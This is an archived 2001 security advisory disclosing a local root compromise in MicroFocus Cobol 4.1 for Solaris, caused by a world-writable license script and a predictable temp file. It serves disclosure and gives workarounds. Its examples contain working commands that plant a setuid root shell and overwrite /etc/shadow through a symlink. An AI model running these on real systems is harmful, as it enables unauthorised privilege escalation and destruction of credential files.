what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mf.txt

mf.txt
Posted Aug 16, 2001
Authored by Echo8

Local root compromise in MicroFocus Cobol for Solaris/Sparc - If the AppTrack feature is enabled, the default install of MicroFocus Cobol 4.1 can be tricked into running code as root due to a permission problem.

tags | exploit, local, root
systems | solaris
SHA-256 | 6be64d2889f4def783b33e0ef5fcbe35a375d34660178a987267aed924cd2601

mf.txt

Change Mirror Download
    Potential Root Compromise in MicroFocus Cobol

Summary
-------

If the AppTrack feature is enabled, the default install of MicroFocus
Cobol 4.1 (Merant's commercial suite of cobol utilities) contains a
security hole which can lead to root compromise.

Specifics
---------

In the default install, /var/mfaslmf is installed mode 777, and
/var/mfaslmf/nolicense is installed mode 666. nolicense also contains the
following:

# Append into a logfile
if test ! -f /var/mfaslmf/USERLOG
then
touch /var/mfaslmf/USERLOG
chmod 666 /var/mfaslmf/USERLOG
fi
echo `date`:No license $* >> /var/mfaslmf/USERLOG

#mail a specified user (commented out by default. substitute the user
name)
echo `date`:No license $* > /var/mfaslmf/tmpmess
# mail -s "No AS license" user-name < /var/mfaslmf/tmpmess
rm /var/mfaslmf/tmpmess

This presents two major types of problem:

* Because of the permissions on nolicense, unprivileged users can edit the
file to insert arbitrary commands into the script. Then, if AppTrack is
enabled (see below) and the trigger condition occurs (again, see below),
that code can be executed with superuser privileges.

* The use of predictably-named temporary files in a world-writeable
directory can allow local users to append, overwrite or destroy arbitrary
files, even if nolicense itself is made non-world-writeable.

Examples
--------

Of the first problem:

$ id
uid=500(echo8) gid=10(users)
$ cat >> /var/mfaslmf/nolicense
/bin/cp /bin/ksh /tmp; chmod 4755 /tmp/ksh
^D

# create a condition under which all available AS licenses are used up.
# This should not be difficult. When this occurs, /var/mfaslmf/nolicense
# will run.

$ ls -alt /tmp/ksh
-rwsr-xr-x 1 root other 186356 Dec 26 17:04 /tmp/ksh
$ /tmp/ksh
# id
uid=500(echo8) gid=10(users) euid=0(root)
#

Of the second:

$ id
uid=500(echo8) gid=10(users)
$ cd /var/mfaslmf
$ ln -s /etc/shadow tmpmess

# Again, create a condition under which nolicense will run. This
# example will overwrite /etc/shadow.

$ cat /etc/shadow (would need to done as root, but you get the point...)
Tue Dec 26 17:08:45 EST 2000:No license
$

Conditions
----------

These holes can only be exploited if the AppTrack functionality is enabled.
This feature is off by default.

Vulnerable Versions
-------------------

4.1 for Solaris/sparc - only version tested.

Workarounds
-----------

Change the permissions on /var/mfaslmf and rewrite nolicense. According to
the documentation, nolicense is provided as "an example" and the user "can
edit the nolicense script to your requirements." IMO, example code with
serious security holes should NOT be distributed. If you don't need this
feature, delete the script. Regardless of whether or not you need AppTrack
to work, you should be able to change the permissions on /var/mfaslmf to
something safer.

Vendor Notification
-------------------

The vendor was notified on 12/26/2000.

Send comments to echo8@gh0st.net
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    39 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close